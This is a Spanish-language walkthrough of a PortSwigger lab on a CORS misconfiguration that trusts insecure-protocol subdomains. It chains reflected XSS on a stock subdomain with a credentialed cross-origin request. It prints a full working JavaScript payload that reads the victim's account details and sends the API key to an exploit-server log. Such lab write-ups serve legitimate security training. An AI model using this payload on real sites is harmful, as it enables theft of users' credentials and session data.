CORS vulnerability with trusted insecure protocols
Laboratorio de Portswigger sobre CORS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web
tiene una configuración
de Cross-Origin Resource Sharing (CORS)
insegura, debido a que confía
en todos los subdominios
sin importar el protocolo
. Para resolver
el laboratorio
, debemos crear un script
de JavaScript
que use Cross-Origin Resource Sharing (CORS)
para obtener la clave API
del administrador
y subir
el payload
a nuestro servidor de explotación
. El laboratorio
se considerará resuelto
cuando enviemos con éxito
la clave API
del administrador
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las siguientes credenciales wiener:peter
Guía de CORS
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de CORS
https://justice-reaper.github.io/posts/CORS-Guide/
Resolución
Al acceder
a la web
vemos esto
Si pulsamos en View details
vemos que podemos checkear
el stock
del producto
en diferentes ciudades
Si pulsamos sobre Check stock
nos redirigirá
a https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1
y nos mostrará
el stock
del producto
Hacemos click
sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
y una clave API
Si nos fijamos en la petición
que se hace a /accountDetails
cuando nos logueamos
, veremos que el servidor
nos responde
con la cabecera Access-Control-Allow-Credentials: true
. Esto no lo hace vulnerable a CORS
, para que sea vulnerable
tenemos que ser capaces de controlar el origen de la petición
Para comprobar si podemos manipular
el origen
de la petición
mandamos esta petición
al Repeater
y probamos a añadir
las cabeceras Origin: null
y Origin: https://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log
. En este caso el servidor no nos deja manipular el origen
Cuando pulsamos
sobre Check stock
vemos que la petición se hace desde un subdominio https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net
Si probamos a insertar
este dominio
como origen
si que funciona
porque está en la whitelist
La pulsar sobre la función de Check stock
nos redirige
a http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1
, si inyectamos código JavaScript
en este parámetro
de la URL http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=<script>alert(3)</script>&storeId=1
veremos que es vulnerable
a XSS
Una vez comprobado que ese dominio
es vulnerable
a XSS
y que está en la whitelist
, nos dirigimos al Exploit server
y pegamos
este payload
1
<script> document.location="http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ae60051047d925c815bc08500f00081.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='http://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>
Pulsamos sobre View exploit
, nos dirigimos al Access log
y vemos que hemos obtenido información
de nuestro usuario
Una vez comprobado
que funciona
, pulsamos sobre Deliver exploit to victim
y nos dirigimos al Access log
nuevamente
Copiamos la cadena de texto
en el Decoder
y la URL decodeamos
Nos copiamos
la apiKey
, pulsamos
sobre Submit solution
y completamos
el laboratorio